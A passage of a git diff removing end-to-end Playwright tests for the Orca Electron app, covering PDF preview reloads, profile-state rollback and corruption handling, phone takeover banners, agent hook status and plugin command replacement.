testInfo.outputPath(`${name}.png`) }) -} - -test('PDF preview recovers after repeated failed refreshes without showing old pages', async ({ - orcaPage, - electronApp, - seededRepoPath, - registerPostElectronShutdownCleanup -}, testInfo) => { - const filePath = path.join(seededRepoPath, 'rebuilt.pdf') - const finished = createPdfFindFixture() - const halfWritten = finished.subarray(0, Math.floor(finished.length / 2)) - const pages = orcaPage.locator('.pdfViewer .page') - const error = orcaPage.getByText(ERROR_TEXT) - writeFileSync(filePath, halfWritten) - registerPostElectronShutdownCleanup(async () => rmSync(filePath, { force: true })) - await orcaPage.evaluate((filePath) => { - const state = window.__store?.getState() - if (!state?.activeWorktreeId) { - throw new Error('Missing fixture worktree') - } - state.openFile({ - filePath, - relativePath: 'rebuilt.pdf', - worktreeId: state.activeWorktreeId, - language: 'plaintext', - mode: 'edit' - }) - }, filePath) - // Nothing good has loaded yet, so the broken file shows the error. - await expect(error).toBeVisible() - - writeFileSync(filePath, finished) - await settleAndCapture(orcaPage, testInfo, '1-finished-after-error') - await expect(error).toBeHidden() - await expect(pages).toHaveCount(3) - - // A failed refresh must not leave pages from the previous contents visible. - const firstPage = pages.first().locator('.textLayer') - writeFileSync(filePath, halfWritten) - await expect(error).toBeVisible() - await expect(pages).toHaveCount(0) - await settleAndCapture(orcaPage, testInfo, '2-failed-refresh') - - writeFileSync(filePath, '') - await expect(error).toBeVisible() - await expect(pages).toHaveCount(0) - - // A distinct finished build, so the swap to the new document is observable. - writeFileSync(filePath, createPdfFindFixture({ title: 'Next build' })) - await expect(firstPage).toContainText('Next build - page 1') - await expect(error).toBeHidden() - await orcaPage.screenshot({ path: testInfo.outputPath('3-next-build.png') }) - const windows = await electronApp.evaluate(({ BrowserWindow }) => - BrowserWindow.getAllWindows().map((window) => ({ - visible: window.isVisible(), - focused: window.isFocused() - })) - ) - expect(windows.every((window) => !window.visible && !window.focused)).toBe(true) -}) diff --git a/tests/e2e/pdf-viewer-reload-cleanup.spec.ts b/tests/e2e/pdf-viewer-reload-cleanup.spec.ts deleted file mode 100644 index d2be07f52bd..00000000000 --- a/tests/e2e/pdf-viewer-reload-cleanup.spec.ts +++ /dev/null @@ -1,120 +0,0 @@ -import { rmSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import { expect, test } from './helpers/orca-app' -import { createPdfFindFixture } from './helpers/pdf-find-fixture' - -test('PDF reloads release workers, scroll listeners, and localization observers', async ({ - orcaPage, - seededRepoPath, - registerPostElectronShutdownCleanup -}, testInfo) => { - const cdp = await orcaPage.context().newCDPSession(orcaPage) - await orcaPage.evaluate(() => { - const observers = new Set() - const NativeMutationObserver = window.MutationObserver - window.MutationObserver = class extends NativeMutationObserver { - observe(target: Node, options?: MutationObserverInit): void { - super.observe(target, options) - if ( - target instanceof HTMLElement && - target.classList.contains('scrollbar-editor') && - target.querySelector('.pdfViewer') - ) { - observers.add(this) - } - } - disconnect(): void { - observers.delete(this) - super.disconnect() - } - } - Object.defineProperty(window, '__pdfReviewLiveMutationObservers', { get: () => observers.size }) - }) - const filePath = path.join(seededRepoPath, 'pdf-perf-review.pdf') - registerPostElectronShutdownCleanup(async () => rmSync(filePath, { force: true })) - writeFileSync(filePath, createPdfFindFixture({ title: 'Build 0' })) - await orcaPage.evaluate((filePath) => { - const state = window.__store?.getState() - if (!state?.activeWorktreeId) { - throw new Error('No fixture worktree') - } - state.openFile({ - filePath, - relativePath: 'pdf-perf-review.pdf', - worktreeId: state.activeWorktreeId, - language: 'plaintext', - mode: 'edit' - }) - }, filePath) - const pageText = orcaPage.locator('.pdfViewer .page').first().locator('.textLayer') - await expect(pageText).toContainText('Build 0 - page 1') - const samples: object[] = [] - const countWorkers = () => - orcaPage.workers().filter((worker) => worker.url().includes('pdf.worker')).length - await expect.poll(countWorkers).toBe(1) - for (let build = 1; build <= 12; build += 1) { - const captured = await cdp.send('Runtime.evaluate', { - expression: `globalThis.__pdfReviewPreviousContainer = document.querySelector('.pdfViewer').parentElement; getEventListeners(globalThis.__pdfReviewPreviousContainer).scroll.length`, - includeCommandLineAPI: true, - returnByValue: true - }) - expect(captured.result.value).toBe(1) - writeFileSync(filePath, createPdfFindFixture({ title: `Build ${build}` })) - await expect(pageText).toContainText(`Build ${build} - page 1`) - await expect.poll(countWorkers).toBe(1) - const listeners = await cdp.send('Runtime.evaluate', { - expression: `({ current: (getEventListeners(document.querySelector('.pdfViewer').parentElement).scroll || []).length, previous: (getEventListeners(globalThis.__pdfReviewPreviousContainer).scroll || []).length })`, - includeCommandLineAPI: true, - returnByValue: true - }) - expect(listeners.result.value).toEqual({ current: 1, previous: 1 }) - const observers = await cdp.send('Runtime.evaluate', { - expression: 'globalThis.__pdfReviewLiveMutationObservers', - returnByValue: true - }) - expect(observers.result.value).toBe(1) - samples.push({ - build, - workers: countWorkers(), - listeners: listeners.result.value, - localizationObservers: observers.result.value - }) - } - await orcaPage.evaluate(() => { - const state = window.__store?.getState() - const file = state?.openFiles.find((candidate) => - candidate.filePath.endsWith('pdf-perf-review.pdf') - ) - if (!state || !file) { - throw new Error('No PDF tab') - } - state.closeFile(file.id) - }) - await expect(orcaPage.locator('.pdfViewer')).toHaveCount(0) - await expect.poll(countWorkers).toBe(0) - const closedListeners = await cdp.send('Runtime.evaluate', { - expression: `(getEventListeners(globalThis.__pdfReviewPreviousContainer).scroll || []).length`, - includeCommandLineAPI: true, - returnByValue: true - }) - expect(closedListeners.result.value).toBe(0) - const closedObservers = await cdp.send('Runtime.evaluate', { - expression: 'globalThis.__pdfReviewLiveMutationObservers', - returnByValue: true - }) - writeFileSync( - testInfo.outputPath('pdf-reload-resource-counts.json'), - JSON.stringify( - { - samples, - closedWorkers: countWorkers(), - closedScrollListeners: closedListeners.result.value, - closedLocalizationObservers: closedObservers.result.value - }, - null, - 2 - ) - ) - expect(closedObservers.result.value).toBe(0) - await cdp.detach() -}) diff --git a/tests/e2e/persisted-session-production-upgrade.spec.ts b/tests/e2e/persisted-session-production-upgrade.spec.ts deleted file mode 100644 index 937bc0f22db..00000000000 --- a/tests/e2e/persisted-session-production-upgrade.spec.ts +++ /dev/null @@ -1,362 +0,0 @@ -import { existsSync, readFileSync, readdirSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import { - _electron as electron, - type ElectronApplication, - type Page, - type TestInfo -} from '@stablyai/playwright-test' -import { DEFAULT_LOCAL_ORCA_PROFILE_ID } from '../../src/shared/orca-profiles/orca-profiles' - -import { forwardElectronProcessLogs, test, expect } from './helpers/orca-app' - -import { createRestartSession } from './helpers/orca-restart' -import { cleanupE2EDaemons, closeElectronAppForE2E } from './helpers/electron-process-shutdown' -import { getElectronIsolatedKeychainArgs } from './helpers/electron-launch-args' -import { - areSameHomePath, - assertElectronResolvedIsolatedHome, - createElectronHomeIsolation -} from './helpers/electron-home-isolation' -import { waitForSessionReady } from './helpers/store' -import { openProfileStateDatabaseReadOnly } from '../../src/main/persistence/profile-state/database/profile-state-database' -import { readProfileStateSnapshot } from '../../src/main/persistence/profile-state/documents/profile-state-documents' -import { acquireProfileStateMaintenance } from '../../src/main/persistence/profile-state/access/profile-state-access' -import { rollbackProfileState } from '../../src/main/persistence/profile-state/recovery/profile-state-recovery-command' -import { profileStateJsonExportPaths } from '../../src/main/persistence/profile-state/legacy-json/profile-state-export-path' -import type { ProfileStateRecoverySelector } from '../../src/shared/orca-profiles/profile-state-recovery-command' - -// This fixture captures a legacy production schema boundary; the test runs the current build. - -const PACKAGED_OLD_EXECUTABLE_ENV = 'ORCA_PROFILE_STATE_PACKAGED_OLD_EXECUTABLE' - -function materializeLegacyProfileJson(userDataDir: string): void { - const profileDirectory = path.join(userDataDir, 'profiles', DEFAULT_LOCAL_ORCA_PROFILE_ID) - const databasePath = path.join(profileDirectory, 'profile-state.db') - const dataPath = path.join(profileDirectory, 'orca-data.json') - const opened = openProfileStateDatabaseReadOnly(databasePath, DEFAULT_LOCAL_ORCA_PROFILE_ID) - try { - writeFileSync(dataPath, `${readProfileStateSnapshot(opened.db).json}\n`) - } finally { - opened.db.close() - } -} - -function readLegacyJsonArtifacts(userDataDir: string): Record { - const profileDirectory = path.join(userDataDir, 'profiles', DEFAULT_LOCAL_ORCA_PROFILE_ID) - const dataPath = path.join(profileDirectory, 'orca-data.json') - return Object.fromEntries( - [dataPath, ...profileStateJsonExportPaths(dataPath)] - .filter((file) => existsSync(file)) - .map((file) => [path.basename(file), readFileSync(file, 'utf8')]) - ) -} - -function restoreLegacyProfileJson( - userDataDir: string, - selector: ProfileStateRecoverySelector = { kind: 'current-json' } -) { - const maintenance = acquireProfileStateMaintenance(userDataDir) - try { - return rollbackProfileState(userDataDir, selector, maintenance) - } finally { - maintenance.release() - } -} - -async function launchPackagedOldProfile(args: { - executablePath: string - userDataDir: string - testInfo: TestInfo -}): Promise<{ app: ElectronApplication; page: Page }> { - const { ELECTRON_RUN_AS_NODE: _unused, ...cleanEnv } = process.env - void _unused - const homeIsolation = createElectronHomeIsolation({ - inheritedEnv: cleanEnv, - launchEnv: {}, - extraEnv: {}, - userDataDir: args.userDataDir - }) - const app = await electron.launch({ - executablePath: args.executablePath, - args: [...getElectronIsolatedKeychainArgs(), `--user-data-dir=${args.userDataDir}`], - env: { - ...homeIsolation.env, - NODE_ENV: 'production', - ORCA_BACKGROUND_LAUNCH: '1', - ORCA_E2E_HEADLESS: '1', - ORCA_BYPASS_SINGLE_INSTANCE_LOCK: '1' - } - }) - forwardElectronProcessLogs(app, args.testInfo) - try { - assertElectronResolvedIsolatedHome( - await app.evaluate(({ app: electronApp }) => electronApp.getPath('home')), - homeIsolation - ) - const resolvedUserDataDir = await app.evaluate(({ app: electronApp }) => - electronApp.getPath('userData') - ) - if (!areSameHomePath(resolvedUserDataDir, args.userDataDir)) { - throw new Error('Packaged old build escaped the disposable user-data boundary') - } - await app.firstWindow({ timeout: 120_000 }) - let apiPage: Page | undefined - await expect - .poll( - async () => { - for (const candidate of app.windows()) { - const hasSettingsApi = await Promise.race([ - candidate.evaluate(() => Boolean(window.api?.settings?.get)).catch(() => false), - new Promise((resolve) => { - const timeout = setTimeout<[]>(() => resolve(false), 2_000) - timeout.unref?.() - }) - ]) - if (hasSettingsApi) { - apiPage = candidate - return true - } - } - return false - }, - // Allow old packaged builds extra first-run bootstrap time while the candidate daemon is shutting down. - { timeout: 120_000 } - ) - .toBe(true) - if (!apiPage) { - throw new Error('Packaged old build did not expose its renderer API') - } - await apiPage.waitForLoadState('domcontentloaded') - return { app, page: apiPage } - } catch (error) { - await closeElectronAppForE2E(app).catch(() => {}) - throw error - } -} - -// oxlint-disable-next-line no-empty-pattern -- This mixed-version test owns its Electron launches. - -test('real packaged old build reads the latest explicit JSON rollback before candidate re-import', async ({ - browserName: _browserName -}, testInfo) => { - test.setTimeout(300_000) - const executablePath = process.env[PACKAGED_OLD_EXECUTABLE_ENV] - test.skip( - !executablePath || !existsSync(executablePath), - `${PACKAGED_OLD_EXECUTABLE_ENV} must point at an older packaged Orca executable` - ) - - const session = createRestartSession(testInfo) - let candidateApp: ElectronApplication | null = null - let oldApp: ElectronApplication | null = null - let reupgradedApp: ElectronApplication | null = null - try { - const candidateLaunch = await session.launch() - candidateApp = candidateLaunch.app - await waitForSessionReady(candidateLaunch.page) - const retainedJson = readLegacyJsonArtifacts(session.userDataDir) - const marker = 19 - await candidateLaunch.page.evaluate(async (terminalFontSize) => { - const updateSettings = window.__store?.getState().updateSettingsOrThrow - if (!updateSettings) { - throw new Error('Candidate renderer did not expose settings persistence') - } - await updateSettings({ terminalFontSize }) - }, marker) - await expect - .poll(() => - candidateLaunch.page.evaluate(() => window.__store?.getState().settings?.terminalFontSize) - ) - .toBe(marker) - await session.close(candidateApp) - candidateApp = null - expect(readLegacyJsonArtifacts(session.userDataDir)).toEqual(retainedJson) - - const databasePath = path.join( - session.userDataDir, - 'profiles', - DEFAULT_LOCAL_ORCA_PROFILE_ID, - 'profile-state.db' - ) - expect(existsSync(databasePath)).toBe(true) - await cleanupE2EDaemons(session.userDataDir) - const rollback = restoreLegacyProfileJson(session.userDataDir, { kind: 'latest-json' }) - expect(rollback.revision).toBeGreaterThan(1) - expect(existsSync(databasePath)).toBe(false) - - const oldLaunch = await launchPackagedOldProfile({ - executablePath: executablePath!, - userDataDir: session.userDataDir, - testInfo - }) - oldApp = oldLaunch.app - await expect - .poll(() => oldLaunch.page.evaluate(() => window.api.settings.get())) - .toMatchObject({ - terminalFontSize: marker - }) - const olderBuildMarker = 21 - await oldLaunch.page.evaluate(async (terminalFontSize) => { - await window.api.settings.set({ terminalFontSize }) - }, olderBuildMarker) - await closeElectronAppForE2E(oldApp) - oldApp = null - - const reupgradedLaunch = await session.launch() - reupgradedApp = reupgradedLaunch.app - await expect - .poll( - () => - reupgradedLaunch.page.evaluate( - () => window.__store?.getState().settings?.terminalFontSize - ), - { timeout: 30_000 } - ) - .toBe(olderBuildMarker) - expect(existsSync(databasePath)).toBe(true) - } finally { - for (const app of [reupgradedApp, oldApp, candidateApp]) { - if (app) { - await closeElectronAppForE2E(app).catch(() => {}) - } - } - await session.dispose() - } -}) - -test('fails closed when a packaged old build mutates JSON outside an explicit rollback', async ({ - browserName: _browserName -}, testInfo) => { - test.setTimeout(300_000) - const executablePath = process.env[PACKAGED_OLD_EXECUTABLE_ENV] - test.skip( - !executablePath || !existsSync(executablePath), - `${PACKAGED_OLD_EXECUTABLE_ENV} must point at an older packaged Orca executable` - ) - - const session = createRestartSession(testInfo) - let candidateApp: ElectronApplication | null = null - let oldApp: ElectronApplication | null = null - try { - const candidateLaunch = await session.launch() - candidateApp = candidateLaunch.app - const candidateExecutable = await candidateApp.evaluate(() => process.execPath) - await waitForSessionReady(candidateLaunch.page) - await candidateLaunch.page.evaluate(async () => { - const updateSettings = window.__store?.getState().updateSettingsOrThrow - if (!updateSettings) { - throw new Error('Candidate renderer did not expose settings persistence') - } - await updateSettings({ terminalFontSize: 19 }) - }) - await expect - .poll(() => - candidateLaunch.page.evaluate(() => window.__store?.getState().settings?.terminalFontSize) - ) - .toBe(19) - await session.close(candidateApp) - candidateApp = null - - const profileDirectory = path.join( - session.userDataDir, - 'profiles', - DEFAULT_LOCAL_ORCA_PROFILE_ID - ) - const databasePath = path.join(profileDirectory, 'profile-state.db') - // Deliberately bypass rollback to reproduce an unsupported mixed-authority profile. - materializeLegacyProfileJson(session.userDataDir) - const compatibilityPath = path.join(profileDirectory, 'orca-data.json') - expect(existsSync(databasePath)).toBe(true) - expect(existsSync(compatibilityPath)).toBe(true) - - const oldLaunch = await launchPackagedOldProfile({ - executablePath: executablePath!, - userDataDir: session.userDataDir, - testInfo - }) - oldApp = oldLaunch.app - await expect - .poll(() => oldLaunch.page.evaluate(() => window.api.settings.get())) - .toMatchObject({ terminalFontSize: 19 }) - await oldLaunch.page.evaluate(async () => { - await window.api.settings.set({ terminalFontSize: 23 }) - }) - await expect - .poll(() => oldLaunch.page.evaluate(() => window.api.settings.get())) - .toMatchObject({ terminalFontSize: 23 }) - await closeElectronAppForE2E(oldApp) - oldApp = null - - const mutatedJson = JSON.parse(readFileSync(compatibilityPath, 'utf8')) - expect(mutatedJson).toMatchObject({ settings: { terminalFontSize: 23 } }) - expect(existsSync(databasePath)).toBe(true) - - const refused = await session.launchUntilExit(candidateExecutable) - expect(refused, refused.stderr).toMatchObject({ code: 1, signal: null, timedOut: false }) - expect(refused.stderr).toContain( - 'both JSON and SQLite storage without a matching acceptance marker' - ) - expect(existsSync(databasePath)).toBe(true) - const opened = openProfileStateDatabaseReadOnly(databasePath, DEFAULT_LOCAL_ORCA_PROFILE_ID) - try { - expect(JSON.parse(readProfileStateSnapshot(opened.db).json)).toMatchObject({ - settings: { terminalFontSize: 19 } - }) - } finally { - opened.db.close() - } - } finally { - for (const app of [oldApp, candidateApp]) { - if (app) { - await closeElectronAppForE2E(app).catch(() => {}) - } - } - await session.dispose() - } -}) - -// oxlint-disable-next-line no-empty-pattern -- This recovery test owns its Electron launches. -test('fails closed on a corrupt established SQLite profile and retains recovery evidence', async ({}, testInfo) => { - test.setTimeout(180_000) - - const session = createRestartSession(testInfo) - let app: ElectronApplication | null = null - try { - const initialLaunch = await session.launch() - app = initialLaunch.app - const candidateExecutable = await app.evaluate(() => process.execPath) - await waitForSessionReady(initialLaunch.page) - await session.close(app) - app = null - - const profileDirectory = path.join( - session.userDataDir, - 'profiles', - DEFAULT_LOCAL_ORCA_PROFILE_ID - ) - const dataFile = path.join(profileDirectory, 'orca-data.json') - const databaseFile = path.join(profileDirectory, 'profile-state.db') - const retainedExports = readdirSync(profileDirectory).filter((name) => - /^orca-data\.json\.sqlite-export\.\d+\.json$/.test(name) - ) - expect(retainedExports.length).toBeGreaterThan(0) - const jsonBeforeCorruption = readFileSync(dataFile) - - writeFileSync(databaseFile, 'corrupt profile-state database') - const refused = await session.launchUntilExit(candidateExecutable) - expect(refused, refused.stderr).toMatchObject({ code: 1, signal: null, timedOut: false }) - expect(refused.stderr).toContain('cannot safely open the active profile') - expect(readFileSync(dataFile)).toEqual(jsonBeforeCorruption) - expect( - readdirSync(profileDirectory).filter((name) => - /^orca-data\.json\.sqlite-export\.\d+\.json$/.test(name) - ) - ).toEqual(retainedExports) - } finally { - if (app) { - await session.close(app).catch(() => {}) - } - await session.dispose() - } -}) diff --git a/tests/e2e/phone-take-back-all-browser.spec.ts b/tests/e2e/phone-take-back-all-browser.spec.ts deleted file mode 100644 index 87882fe7bd5..00000000000 --- a/tests/e2e/phone-take-back-all-browser.spec.ts +++ /dev/null @@ -1,118 +0,0 @@ -// #40859: "Take back all" on either phone banner hands back both the terminal and the browser tab. -import { createServer } from 'node:http' -import type { ElectronApplication } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { waitForActivePanePtyId, waitForActiveTerminalManager } from './helpers/terminal' -import { createTerminalBrowserSplit } from './helpers/browser-split-fixture' -import { createDesktopMobilePairingOffer } from './helpers/paired-electron-client' -import { pairMobileClient, type PairedMobileClient } from './helpers/paired-mobile-client' - -// The phone app's mobile view on a 390x844 screen; main clamps the height to the desktop guest. -const PHONE_WIDTH = 390 - -async function guestViewport( - electronApp: ElectronApplication, - url: string -): Promise<{ width: number; height: number } | null> { - return electronApp.evaluate(async ({ webContents }, pageUrl) => { - const guest = webContents - .getAllWebContents() - .find((contents) => contents.getType() === 'webview' && contents.getURL() === pageUrl) - return guest ? guest.executeJavaScript('({ width: innerWidth, height: innerHeight })') : null - }, url) -} - -const BANNERS = [ - { surface: 'terminal', selector: '.mobile-driver-banner' }, - { surface: 'browser tab', selector: '.mobile-browser-driver-banner' } -] - -for (const banner of BANNERS) { - test(`Take back all on the ${banner.surface} banner takes back everything the phone holds`, async ({ - orcaPage, - electronApp - }) => { - await waitForSessionReady(orcaPage) - const worktreeId = await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage) - const ptyId = await waitForActivePanePtyId(orcaPage) - // CI's 1280px xvfb screen leaves the split guest narrower than the phone unless sidebars close. - await electronApp.evaluate(({ BrowserWindow }) => { - BrowserWindow.getAllWindows()[0]?.setContentSize(1280, 900) - }) - await orcaPage.evaluate(() => { - const state = window.__store?.getState() - state?.setSidebarOpen(false) - state?.setRightSidebarOpen(false) - }) - - // A drawing http page: Orca shows data: and blank URLs as its New Tab view. - const server = createServer((_request, response) => { - response.writeHead(200, { 'content-type': 'text/html' }) - response.end( - '

page

' - ) - }) - let phone: PairedMobileClient | null = null - try { - await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)) - const address = server.address() - const url = `http://127.0.0.1:${address && typeof address === 'object' ? address.port : 0}/` - const { browserPageId } = await createTerminalBrowserSplit(orcaPage, url) - await expect - .poll(async () => (await guestViewport(electronApp, url))?.width ?? 0, { timeout: 30_000 }) - .toBeGreaterThan(PHONE_WIDTH) - const desktopViewport = await guestViewport(electronApp, url) - - phone = pairMobileClient(await createDesktopMobilePairingOffer(orcaPage)) - const socket = await phone.openSocket() - const { terminals } = await phone.call<{ terminals: { handle: string; ptyId: string }[] }>( - 'terminal.list', - { worktree: `id:${worktreeId}` } - ) - const terminal = terminals.find((entry) => entry.ptyId === ptyId)?.handle - expect(terminal, 'the phone lists the desktop terminal').toBeTruthy() - socket.send('subscribe', 'terminal.subscribe', { - terminal, - client: { id: socket.token, type: 'mobile' }, - viewport: { cols: 40, rows: 30 }, - capabilities: { terminalBinaryStream: 1 } - }) - socket.send('screencast', 'browser.screencast', { - worktree: `id:${worktreeId}`, - page: browserPageId, - format: 'jpeg', - quality: 72, - maxWidth: 780, - maxHeight: 1688, - everyNthFrame: 1, - minFrameIntervalMs: 100, - viewportWidth: PHONE_WIDTH, - viewportHeight: 844, - deviceScaleFactor: 2, - mobile: true, - frameAck: 1 - }) - const browserOverlay = orcaPage.locator('.mobile-browser-driver-banner') - await expect(browserOverlay).toBeVisible({ timeout: 15_000 }) - await expect - .poll(async () => (await guestViewport(electronApp, url))?.width) - .toBe(PHONE_WIDTH) - - await expect(orcaPage.locator('.mobile-driver-banner')).toBeVisible() - await orcaPage - .locator(banner.selector) - .getByRole('button', { name: /^take back all$/i }) - .click() - - await expect(orcaPage.locator('.mobile-driver-banner')).toHaveCount(0) - await expect(browserOverlay).toHaveCount(0) - await expect.poll(() => guestViewport(electronApp, url)).toEqual(desktopViewport) - } finally { - phone?.dispose() - server.close() - } - }) -} diff --git a/tests/e2e/pi-ui-prompt-status.spec.ts b/tests/e2e/pi-ui-prompt-status.spec.ts deleted file mode 100644 index faf8855ce4b..00000000000 --- a/tests/e2e/pi-ui-prompt-status.spec.ts +++ /dev/null @@ -1,72 +0,0 @@ -import { test, expect } from './helpers/orca-app' -import { readHookEndpoint } from './helpers/agent-hook-endpoint' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - sendToTerminal, - waitForActivePaneHookDescriptor, - waitForActivePanePtyId, - waitForActiveTerminalManager, - waitForTerminalOutput -} from './helpers/terminal' - -test('Pi modal hooks show the existing waiting-for-input indicator', async ({ - orcaPage, - electronApp -}, testInfo) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - const endpoint = await readHookEndpoint(electronApp) - const ptyId = await waitForActivePanePtyId(orcaPage) - const marker = '__PI_MODAL_STATUS_READY__' - await sendToTerminal(orcaPage, ptyId, `printf '${marker}\\n'\r`) - await waitForTerminalOutput(orcaPage, marker) - const { paneKey, worktreeId } = await waitForActivePaneHookDescriptor(orcaPage) - - async function emit(payload: Record): Promise { - const response = await fetch(`http://127.0.0.1:${endpoint.port}/hook/pi`, { - method: 'POST', - headers: { - 'Content-Type': 'application/json', - 'X-Orca-Agent-Hook-Token': endpoint.token - }, - body: JSON.stringify({ - paneKey, - tabId: paneKey.split(':')[0], - worktreeId, - env: endpoint.env, - version: endpoint.version, - payload - }) - }) - expect(response.status).toBe(204) - } - - // Terminal tabs present both waiting and blocked as "Needs attention". - const waiting = orcaPage.locator('[aria-label="Needs attention"]') - await emit({ hook_event_name: 'before_agent_start', prompt: 'Pi modal status check' }) - await expect(orcaPage.locator('[aria-label="Working"]').first()).toBeVisible() - await orcaPage.screenshot({ path: testInfo.outputPath('before-working.png') }) - - await emit({ hook_event_name: 'ui_prompt_start', ui_prompt_active: true }) - await expect - .poll(() => - orcaPage.evaluate( - (key) => window.__store?.getState().agentStatusByPaneKey.get(key)?.state, - paneKey - ) - ) - .toBe('waiting') - await expect(waiting.first()).toBeVisible() - await orcaPage.screenshot({ path: testInfo.outputPath('after-waiting.png') }) - await emit({ hook_event_name: 'tool_execution_end', tool_name: 'bash', ui_prompt_active: true }) - await expect(waiting.first()).toBeVisible() - - await emit({ hook_event_name: 'ui_prompt_end', is_idle: false }) - await expect(waiting).toHaveCount(0) - await expect(orcaPage.locator('[aria-label="Working"]').first()).toBeVisible() - await emit({ hook_event_name: 'agent_end' }) - await expect(orcaPage.locator('[aria-label="Working"]')).toHaveCount(0) - await expect(waiting).toHaveCount(0) -}) diff --git a/tests/e2e/plugin-buildless-tsx.spec.ts b/tests/e2e/plugin-buildless-tsx.spec.ts deleted file mode 100644 index d475109bcf0..00000000000 --- a/tests/e2e/plugin-buildless-tsx.spec.ts +++ /dev/null @@ -1,84 +0,0 @@ -import { mkdir, mkdtemp, rm, writeFile } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { disablePluginSystem, enableDevPlugins } from './helpers/plugin-smoke' -import { - evalInGuest, - pluginGuest, - waitForGuestReady, - ISOLATED_FRAMES_E2E -} from './helpers/plugin-frame-guest' - -test.use(ISOLATED_FRAMES_E2E) - -async function openPanel(page: Page, title: string): Promise { - await page.evaluate(async () => { - const store = window.__store?.getState() - if (store && !store.rightSidebarOpen) { - store.toggleRightSidebar() - } - await window.api.plugins.refresh() - }) - const button = page.getByRole('button', { name: title }) - await expect(button).toBeVisible({ timeout: 15_000 }) - await button.click() -} - -test('an HTML frame panel can name a .ts entry, and bare imports fail by name', async ({ - orcaPage -}) => { - const tempRoot = await mkdtemp(join(tmpdir(), 'orca-buildless-frame-')) - const pluginRoot = join(tempRoot, 'ts-frame') - try { - await mkdir(join(pluginRoot, 'app'), { recursive: true }) - await writeFile( - join(pluginRoot, 'orca-plugin.json'), - JSON.stringify({ - manifestVersion: 2, - execution: 'sandboxed-ui', - id: 'ts-frame', - name: 'TS Frame', - version: '1.0.0', - engines: { orca: '>=1.4.246' }, - pluginApi: 1, - contributes: { panels: [{ id: 'page', title: 'TS Frame', entry: 'app/page.ts' }] } - }) - ) - await writeFile( - join(pluginRoot, 'app', 'page.ts'), - [ - "import { greeting } from './greeting'", - 'const out: HTMLElement = document.createElement("p")', - 'out.id = "out"', - 'out.textContent = greeting(2)', - 'document.body.append(out)', - "import('./bare').catch((error: Error) => { out.dataset.bare = error.message })" - ].join('\n') - ) - await writeFile( - join(pluginRoot, 'app', 'greeting.ts'), - 'export const greeting = (n: number): string => `typed ${n * 21}`\n' - ) - await writeFile(join(pluginRoot, 'app', 'bare.ts'), "import 'left-pad'\nexport {}\n") - await enableDevPlugins(orcaPage, [pluginRoot]) - await openPanel(orcaPage, 'TS Frame') - - const guest = pluginGuest(orcaPage, 'TS Frame') - await expect(guest).toBeVisible({ timeout: 15_000 }) - await waitForGuestReady(guest) - // Why tolerant: the guest can remount while the panel settles; the poll then retries. - const read = (expression: string) => - evalInGuest(guest, `${expression} ?? null`).catch(() => null) - await expect - .poll(() => read('document.getElementById("out")?.textContent'), { timeout: 15_000 }) - .toBe('typed 42') - await expect - .poll(() => read('document.getElementById("out")?.dataset.bare'), { timeout: 15_000 }) - .toContain('app/bare.ts:1:8: cannot import "left-pad"') - } finally { - await disablePluginSystem(orcaPage).catch(() => undefined) - await rm(tempRoot, { recursive: true, force: true }) - } -}) diff --git a/tests/e2e/plugin-command-replacement-deadline.spec.ts b/tests/e2e/plugin-command-replacement-deadline.spec.ts deleted file mode 100644 index a029aff6329..00000000000 --- a/tests/e2e/plugin-command-replacement-deadline.spec.ts +++ /dev/null @@ -1,204 +0,0 @@ -/** - * Invariant: a plugin command that replaces a built-in action (here `sidebar.left.toggle`) gets - * the action exactly once per press. A fast handler that calls `commands.run` toggles it, a - * handler that throws gets Orca's own toggle, a handler that never calls `commands.run` leaves - * it alone, and a handler that calls `commands.run` after the 2 s deadline is refused because - * Orca already ran its own: the sidebar never toggles twice. - */ - -import { mkdir, mkdtemp, readFile, rm, writeFile } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { disablePluginSystem, enableDevPlugins } from './helpers/plugin-smoke' - -type Mode = 'fast' | 'late' | 'throw' | 'noop' - -declare global { - // oxlint-disable-next-line typescript-eslint/consistent-type-definitions -- declaration merging requires interface - interface Window { - /** Left sidebar open/close changes the renderer committed, counted by this spec. */ - __sidebarToggles?: number - } -} - -const manifest = { - manifestVersion: 2, - execution: 'trusted-worker', - id: 'e2e-sidebar-replacement', - name: 'E2E Sidebar Replacement', - version: '1.0.0', - description: 'Replaces the left sidebar toggle with a handler whose timing the test picks.', - engines: { orca: '>=1.4.248' }, - pluginApi: 1, - main: 'worker.mjs', - contributes: { - commands: [{ id: 'toggle', title: 'Toggle sidebar', replaces: 'sidebar.left.toggle' }], - settings: [ - { - key: 'mode', - title: 'Mode', - type: 'string', - enum: ['fast', 'late', 'throw', 'noop'], - default: 'fast' - }, - { key: 'logPath', title: 'Log path', type: 'string', default: '' } - ] - }, - capabilities: [{ kind: 'settings:own' }, { kind: 'workspace:write' }] -} - -const worker = `import { appendFileSync } from 'node:fs' - -export default function activate(orca) { - orca.commands.register('toggle', async () => { - const mode = await orca.settings.get('mode') - const logPath = String((await orca.settings.get('logPath')) ?? '') - const note = (line) => { - if (logPath) appendFileSync(logPath, mode + ':' + line + '\\n') - } - note('start') - if (mode === 'throw') { - note('threw') - throw new Error('replacement failed') - } - if (mode === 'noop') { - note('done') - return - } - if (mode === 'late') { - await new Promise((resolve) => setTimeout(resolve, 2_100)) - } - try { - await orca.host.call('commands.run', { action: 'sidebar.left.toggle' }) - note('ran') - } catch (error) { - note('refused') - throw error - } - }) -} -` - -async function setMode(page: Page, pluginKey: string, key: string, value: string): Promise { - await page.evaluate( - async ({ pluginKey, key, value }) => { - const written = await window.api.plugins.setSetting?.({ pluginKey, key, value }) - if (!written?.ok) { - throw new 